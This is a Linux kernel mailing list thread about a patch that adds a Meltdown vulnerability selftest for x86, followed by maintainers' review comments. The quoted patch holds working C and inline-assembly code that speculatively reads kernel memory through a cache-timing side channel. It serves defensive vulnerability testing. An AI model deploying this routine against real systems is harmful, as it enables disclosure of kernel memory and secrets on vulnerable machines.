by Aaron Lu

[permalink] [raw]

Subject: Re: [PATCH] selftest/x86/meltdown: Add a selftest for meltdown

On Thu, 2023-01-19 at 19:15 +0200, Pavel Boldin wrote:
> > Signed-off-by: Aaron Lu <[email protected]>
> Reviewed-by: Pavel Boldin <[email protected]>

Thanks!

>
> --
> Sincerely,
> Pavel Boldin
>
> P.S. Sorry for lagging, electricity & free time are hard to find
> these days.

Never mind, appreciate your time to review this patch.

Best Regards,
Aaron

>
> > diff --git a/tools/testing/selftests/x86/Makefile
> > b/tools/testing/selftests/x86/Makefile
> > index 0388c4d60af0..36f99c360a56 100644
> > --- a/tools/testing/selftests/x86/Makefile
> > +++ b/tools/testing/selftests/x86/Makefile
> > @@ -13,7 +13,7 @@ CAN_BUILD_WITH_NOPIE := $(shell ./check_cc.sh
> > "$(CC)" trivial_program.c -no-pie)
> > TARGETS_C_BOTHBITS := single_step_syscall sysret_ss_attrs
> > syscall_nt test_mremap_vdso \
> >                         check_initial_reg_state sigreturn iopl
> > ioperm \
> >                         test_vsyscall mov_ss_trap \
> > - syscall_arg_fault fsgsbase_restore
> > sigaltstack
> > + syscall_arg_fault fsgsbase_restore
> > sigaltstack meltdown
> > TARGETS_C_32BIT_ONLY := entry_from_vm86 test_syscall_vdso
> > unwind_vdso \
> >                         test_FCMOV test_FCOMI test_FISTTP \
> >                         vdso_restorer
> > diff --git a/tools/testing/selftests/x86/meltdown.c
> > b/tools/testing/selftests/x86/meltdown.c
> > new file mode 100644
> > index 000000000000..fcb211dc9038
> > --- /dev/null
> > +++ b/tools/testing/selftests/x86/meltdown.c
> > @@ -0,0 +1,529 @@
> > +// SPDX-License-Identifier: GPL-2.0-or-later
> > +/*
> > + * Copyright (c) 2018 Pavel Boldin <[email protected]>
> > + *
> > https://github.com/linux-test-project/ltp/blob/master/testcases/cve/meltdown.c
> > + */
> > +
> > +#define _GNU_SOURCE
> > +#include <stdio.h>
> > +#include <stdlib.h>
> > +#include <stdint.h>
> > +#include <stdarg.h>
> > +#include <string.h>
> > +#include <signal.h>
> > +#include <ucontext.h>
> > +#include <unistd.h>
> > +#include <fcntl.h>
> > +#include <ctype.h>
> > +#include <sys/utsname.h>
> > +#include <sys/mman.h>
> > +
> > +#define PAGE_SHIFT 12
> > +#define PAGE_SIZE 0x1000
> > +#define PUD_SHIFT 30
> > +#define PUD_SIZE (1UL << PUD_SHIFT)
> > +#define PUD_MASK (~(PUD_SIZE - 1))
> > +
> > +size_t cache_miss_threshold;
> > +unsigned long directmap_base;
> > +
> > +#define TARGET_OFFSET 9
> > +#define TARGET_SIZE (1 << TARGET_OFFSET)
> > +#define BITS_BY_READ 2
> > +
> > +static inline uint64_t rdtsc(void)
> > +{
> > + uint32_t eax, edx;
> > + uint64_t tsc_val;
> > + /*
> > + * The lfence is to wait (on Intel CPUs) until all previous
> > + * instructions have been executed. If software requires
> > RDTSC to be
> > + * executed prior to execution of any subsequent
> > instruction, it can
> > + * execute LFENCE immediately after RDTSC
> > + * */
> > + __asm__ __volatile__("lfence; rdtsc; lfence" : "=a"(eax),
> > "=d"(edx));
> > + tsc_val = ((uint64_t)edx) << 32 | eax;
> > + return tsc_val;
> > +}
> > +
> > +static inline void clflush(volatile void *__p)
> > +{
> > + asm volatile("clflush %0" : "+m" (*(volatile char *)__p));
> > +}
> > +
> > +static char target_array[BITS_BY_READ * TARGET_SIZE];
> > +
> > +static void clflush_target(void)
> > +{
> > + int i;
> > +
> > + for (i = 0; i < BITS_BY_READ; i++)
> > + clflush(&target_array[i * TARGET_SIZE]);
> > +}
> > +
> > +extern char failshere[];
> > +extern char stopspeculate[];
> > +
> > +static void __attribute__((noinline)) speculate(unsigned long
> > addr, char bit)
> > +{
> > + register char mybit asm ("cl") = bit;
> > +#ifdef __x86_64__
> > + asm volatile (
> > + "1:\n\t"
> > +
> > + ".rept 300\n\t"
> > + "add $0x141, %%rax\n\t"
> > + ".endr\n"
> > +
> > + "failshere:\n\t"
> > + "movb (%[addr]), %%al\n\t"
> > + "ror %[bit], %%rax\n\t"
> > + "and $1, %%rax\n\t"
> > + "shl $9, %%rax\n\t"
> > + "jz 1b\n\t"
> > +
> > + "movq (%[target], %%rax, 1), %%rbx\n"
> > +
> > + "stopspeculate: \n\t"
> > + "nop\n\t"
> > + :
> > + : [target] "r" (target_array),
> > + [addr] "r" (addr),
> > + [bit] "r" (mybit)
> > + : "rax", "rbx"
> > + );
> > +#else /* defined(__x86_64__) */
> > + asm volatile (
> > + "1:\n\t"
> > +
> > + ".rept 300\n\t"
> > + "add $0x141, %%eax\n\t"
> > + ".endr\n"
> > +
> > + "failshere:\n\t"
> > + "movb (%[addr]), %%al\n\t"
> > + "ror %[bit], %%eax\n\t"
> > + "and $1, %%eax\n\t"
> > + "shl $9, %%eax\n\t"
> > + "jz 1b\n\t"
> > +
> > + "movl (%[target], %%eax, 1), %%ebx\n"
> > +
> > + "stopspeculate: \n\t"
> > + "nop\n\t"
> > + :
> > + : [target] "r" (target_array),
> > + [addr] "r" (addr),
> > + [bit] "r" (mybit)
> > + : "rax", "ebx"
> > + );
> > +#endif
> > +}
> > +
> > +#ifdef __i386__
> > +# define REG_RIP REG_EIP
> > +#endif
> > +
> > +static void sigsegv(int sig, siginfo_t *siginfo, void *context)
> > +{
> > + ucontext_t *ucontext = context;
> > + unsigned long *prip = (unsigned long *)&ucontext-
> > >uc_mcontext.gregs[REG_RIP];
> > + if (*prip != (unsigned long)failshere) {
> > + printf("Segmentation fault at unexpected location
> > %lx\n", *prip);
> > + abort();
> > + }
> > + *prip = (unsigned long)stopspeculate;
> > + return;
> > +}
> > +
> > +static int set_signal(void)
> > +{
> > + struct sigaction act = {
> > + .sa_sigaction = sigsegv,
> > + .sa_flags = SA_SIGINFO,
> > + };
> > +
> > + return sigaction(SIGSEGV, &act, NULL);
> > +}
> > +
> > +static inline int get_access_time(volatile char *addr)
> > +{
> > + unsigned long long time1, time2;
> > + volatile int j __attribute__((__unused__));
> > +
> > + time1 = rdtsc();
> > + j = *addr;
> > + time2 = rdtsc();
> > +
> > + return time2 - time1;
> > +}
> > +
> > +static int cache_hit_threshold;
> > +static int hist[BITS_BY_READ];
> > +
> > +static void check(void)
> > +{
> > + int i, time;
> > + volatile char *addr;
> > +
> > + for (i = 0; i < BITS_BY_READ; i++) {
> > + addr = &target_array[i * TARGET_SIZE];
> > +
> > + time = get_access_time(addr);
> > +
> > + if (time <= cache_hit_threshold)
> > + hist[i]++;
> > + }
> > +}
> > +
> > +#define CYCLES 10000
> > +static int readbit(int fd, unsigned long addr, char bit)
> > +{
> > + int i, ret;
> > + static char buf[256];
> > +
> > + memset(hist, 0, sizeof(hist));
> > +
> > + for (i = 0; i < CYCLES; i++) {
> > + /*
> > + * Make the to-be-stolen data cache and tlb hot
> > + * to increase success rate.
> > + */
> > + ret = pread(fd, buf, sizeof(buf), 0);
> > + if (ret < 0)
> > + printf("[INFO]\tCan't read fd");
> > +
> > + clflush_target();
> > +
> > + speculate(addr, bit);
> > + check();
> > + }
> > +
> > + if (hist[1] > CYCLES / 10)
> > + return 1;
> > + return 0;
> > +}
> > +
> > +static int readbyte(int fd, unsigned long addr)
> > +{
> > + int bit, res = 0;
> > +
> > + for (bit = 0; bit < 8; bit ++ )
> > + res |= (readbit(fd, addr, bit) << bit);
> > +
> > + return res;
> > +}
> > +
> > +static int mysqrt(long val)
> > +{
> > + int root = val / 2, prevroot = 0, i = 0;
> > +
> > + while (prevroot != root && i++ < 100) {
> > + prevroot = root;
> > + root = (val / root + root) / 2;
> > + }
> > +
> > + return root;
> > +}
> > +
> > +#define ESTIMATE_CYCLES 1000000
> > +static void set_cache_hit_threshold(void)
> > +{
> > + long cached, uncached, i;
> > +
> > + for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
> > + cached += get_access_time(target_array);
> > +
> > + for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
> > + cached += get_access_time(target_array);
> > +
> > + for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
> > + clflush(target_array);
> > + uncached += get_access_time(target_array);
> > + }
> > +
> > + cached /= ESTIMATE_CYCLES;
> > + uncached /= ESTIMATE_CYCLES;
> > +
> > + cache_hit_threshold = mysqrt(cached * uncached);
> > +
> > + printf("[INFO]\taccess time: cached = %ld, uncached = %ld,
> > threshold = %d\n",
> > + cached, uncached, cache_hit_threshold);
> > +}
> > +
> > +static unsigned long find_symbol_in_file(const char *filename,
> > const char *symname)
> > +{
> > + unsigned long addr;
> > + char type, *buf;
> > + int found;
> > + FILE *fp;
> > +
> > + fp = fopen(filename, "r");
> > + if (!fp) {
> > + printf("[INFO]\tFailed to open %s\n", filename);
> > + return 0;
> > + }
> > +
> > + buf = malloc(4096);
> > + if (!buf)
> > + return 0;
> > +
> > + found = 0;
> > + while (fscanf(fp, "%lx %c %s\n", &addr, &type, buf)) {
> > + if (!strcmp(buf, symname)) {
> > + found = 1;
> > + break;
> > + }
> > + }
> > +
> > + free(buf);
> > + fclose(fp);
> > +
> > + return found ? addr : 0;
> > +}
> > +
> > +static unsigned long find_kernel_symbol(const char *name)
> > +{
> > + char systemmap[256];
> > + struct utsname utsname;
> > + unsigned long addr;
> > +
> > + addr = find_symbol_in_file("/proc/kallsyms", name);
> > + if (addr)
> > + return addr;
> > +
> > + if (uname(&utsname) < 0)
> > + return 0;
> > + sprintf(systemmap, "/boot/System.map-%s", utsname.release);
> > + addr = find_symbol_in_file(systemmap, name);
> > + return addr;
> > +}
> > +
> > +static unsigned long saved_cmdline_addr;
> > +static int spec_fd;
> > +
> > +#define READ_SIZE 32
> > +
> > +static int test_read_saved_command_line(void)
> > +{
> > + unsigned int i, score = 0, ret;
> > + unsigned long addr;
> > + unsigned long size;
> > + char read[READ_SIZE] = { 0 };
> > + char expected[READ_SIZE] = { 0 };
> > + int expected_len;
> > +
> > + saved_cmdline_addr =
> > find_kernel_symbol("saved_command_line");
> > + if (!saved_cmdline_addr) {
> > + printf("[SKIP]\tCan not find symbol
> > saved_command_line\n");
> > + return 0;
> > + }
> > + printf("[INFO]\tsaved_cmdline_addr: 0x%lx\n",
> > saved_cmdline_addr);
> > +
> > + spec_fd = open("/proc/cmdline", O_RDONLY);
> > + if (spec_fd == -1) {
> > + printf("[SKIP]\tCan not open /proc/cmdline\n");
> > + return 0;
> > + }
> > +
> > + expected_len = pread(spec_fd, expected, sizeof(expected),
> > 0);
> > + if (expected_len < 0) {
> > + printf("[SKIP]\tCan't read /proc/cmdline\n");
> > + return 0;
> > + }
> > +
> > + /* read address of saved_cmdline_addr */
> > + addr = saved_cmdline_addr;
> > + size = sizeof(addr);
> > + for (i = 0; i < size; i++) {
> > + ret = readbyte(spec_fd, addr);
> > + read[i] = ret;
> > + addr++;
> > + }
> > +
> > + /* read value pointed to by saved_cmdline_addr */
> > + memcpy(&addr, read, sizeof(addr));
> > + memset(read, 0, sizeof(read));
> > + printf("[INFO]\tsaved_command_line: 0x%lx\n", addr);
> > + size = expected_len;
> > +
> > + if (!addr)
> > + goto done;
> > +
> > + for (i = 0; i < size; i++) {
> > + ret = readbyte(spec_fd, addr);
> > + read[i] = ret;
> > + addr++;
> > + }
> > +
> > + for (i = 0; i < size; i++)
> > + if (expected[i] == read[i])
> > + score++;
> > +
> > +done:
> > + if (score > size / 2) {
> > + printf("[FAIL]\ttest_read_saved_command_line: both
> > high and low kernel mapping leak found.\n");
> > + ret = -1;
> > + } else {
> > + printf("[OK]\ttest_read_saved_command_line: no leak
> > found.\n");
> > + ret = 0;
> > + }
> > +
> > + close(spec_fd);
> > +
> > + return ret;
> > +}
> > +
> > +static int get_directmap_base(void)
> > +{
> > + char *buf;
> > + FILE *fp;
> > + size_t n;
> > + int ret;
> > +
> > + fp = fopen("/sys/kernel/debug/page_tables/kernel", "r");
> > + if (!fp)
> > + return -1;
> > +
> > + buf = NULL;
> > + ret = -1;
> > + while (getline(&buf, &n, fp) != -1) {
> > + if (!strstr(buf, "Kernel Mapping"))
> > + continue;
> > +
> > + if (getline(&buf, &n, fp) != -1 &&
> > + sscanf(buf, "0x%lx", &directmap_base) == 1) {
> > +
> > printf("[INFO]\tdirectmap_base=0x%lx/0x%lx\n", directmap_base,
> > directmap_base & PUD_MASK);
> > + directmap_base &= PUD_MASK;
> > + ret = 0;
> > + break;
> > + }
> > + }
> > +
> > + fclose(fp);
> > + free(buf);
> > + return ret;
> > +}
> > +
> > +static int virt_to_phys(unsigned long virt, unsigned long *phys)
> > +{
> > + unsigned long pfn;
> > + uint64_t val;
> > + int fd, ret;
> > +
> > + fd = open("/proc/self/pagemap", O_RDONLY);
> > + if (fd == -1) {
> > + printf("[INFO]\tFailed to open pagemap\n");
> > + return -1;
> > + }
> > +
> > + ret = pread(fd, &val, sizeof(val), (virt >> PAGE_SHIFT) *
> > sizeof(uint64_t));
> > + if (ret == -1) {
> > + printf("[INFO]\tFailed to read pagemap\n");
> > + goto out;
> > + }
> > +
> > + if (!(val & (1ULL << 63))) {
> > + printf("[INFO]\tPage not present according to
> > pagemap\n");
> > + ret = -1;
> > + goto out;
> > + }
> > +
> > + pfn = val & ((1ULL << 55) - 1);
> > + if (pfn == 0) {
> > + printf("[INFO]\tNeed CAP_SYS_ADMIN to show pfn\n");
> > + ret = -1;
> > + goto out;
> > + }
> > +
> > + ret = 0;
> > + *phys = (pfn << PAGE_SHIFT) | (virt & (PAGE_SIZE - 1));
> > +
> > +out:
> > + close(fd);
> > + return ret;
> > +}
> > +
> > +static int test_read_local_var(void)
> > +{
> > + char path[] = "/tmp/meltdown.XXXXXX";
> > + char string[] = "test string";
> > + unsigned long phys;
> > + int i, len, ret;
> > + char *result;
> > + void *p;
> > +
> > + if (get_directmap_base() == -1) {
> > + printf("[SKIP]\tFailed to get directmap base. Need
> > root and CONFIG_PTDUMP_DEBUGFS\n");
> > + return 0;
> > + }
> > +
> > + spec_fd = mkstemp(path);
> > + if (spec_fd == -1) {
> > + printf("[SKIP]\tCan not open %s\n", path);
> > + return 0;
> > + }
> > + ftruncate(spec_fd, 0x1000);
> > +
> > + p = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED,
> > spec_fd, 0);
> > + if (p == MAP_FAILED) {
> > + printf("[SKIP]\tmmap spec_fd failed\n");
> > + return 0;
> > + }
> > + memcpy(p, string, sizeof(string));
> > +
> > + if (virt_to_phys((unsigned long)p, &phys) == -1) {
> > + printf("[SKIP]\tCan not convert virtual address to
> > physical address\n");
> > + return 0;
> > + }
> > +
> > + len = strlen(string);
> > + result = malloc(len + 1);
> > + if (!result) {
> > + printf("[SKIP]\tNot enough memory for malloc\n");
> > + return 0;
> > + }
> > + memset(result, 0, len + 1);
> > +
> > + for (i = 0; i < len; i++, phys++) {
> > + result[i] = readbyte(spec_fd, directmap_base +
> > phys);
> > + if (result[i] == 0)
> > + break;
> > + }
> > +
> > + ret = !strncmp(string, result, len);
> > + if (ret)
> > + printf("[FAIL]\ttest_read_local_var: low kernel
> > mapping leak found.\n");
> > + else
> > + printf("[OK]\ttest_read_local_var: no leak
> > found.\n");
> > +
> > + free(result);
> > + munmap(p, 0x1000);
> > + close(spec_fd);
> > +
> > + return ret;
> > +}
> > +
> > +int main(void)
> > +{
> > + int ret1, ret2;
> > +
> > + printf("[RUN]\tTest if system is vulnerable to
> > meltdown\n");
> > +
> > + set_cache_hit_threshold();
> > +
> > + memset(target_array, 1, sizeof(target_array));
> > +
> > + if (set_signal() < 0) {
> > + printf("[SKIP]\tCan not set handler for
> > segfault\n");
> > + return 0;
> > + }
> > +
> > + ret1 = test_read_local_var();
> > + ret2 = test_read_saved_command_line();
> > +
> > + if (ret1 || ret2)
> > + return -1;
> > +
> > + return 0;
> > +}
> > --
> > 2.39.0
> >

2023-01-20 05:24:19

by Greg KH

[permalink] [raw]

Subject: Re: [PATCH] selftest/x86/meltdown: Add a selftest for meltdown

On Wed, Jan 18, 2023 at 01:22:11PM +0800, Aaron Lu wrote:
> Hi Greg,
>
> On Mon, Jan 09, 2023 at 03:38:43PM +0800, Aaron Lu wrote:
> > On Sat, Jan 07, 2023 at 09:18:15AM +0100, Greg KH wrote:
> > > On Fri, Jan 06, 2023 at 09:00:21AM +0800, Aaron Lu wrote:
> > > > If you do not trust what I've done is what I've claimed, now the
> > > > original author Pavel Boldin has given the patch a "LGTM" tag, does that
> > > > address your concern?
> > >
> > > I don't see that anywhere on lore.kernel.org, have a link to it?
> >
> > It appears Pavel Boldin's last reply didn't make it to lore for some
> > reason but I saw him kindly replying again and I suppose you should
> > have received it.
> >
> > But just in case, the link for Pavel's new reply is here:
> > https://lore.kernel.org/lkml/CABohvEPWBHmrRpZcQejTkZ+CYtYCyu6rFMd4doNn_CMk35um+g@mail.gmail.com/
>
> Now with the original author Pavel Boldin's "LGTM", do you think this
> patch is OK to you or you still insist something else? Please kindly
> let me know, thanks.

I do not see any sort of tag sent by Pavel (hint, you can NOT make one
up yourself) to indicate that they agree with this.

Also, the amount of gyrations you all went through just to keep an
Intel lawyer's name out of the changelog is insane and means that I was
right to push for this. I still want it now, just because :)

thanks,

greg k-h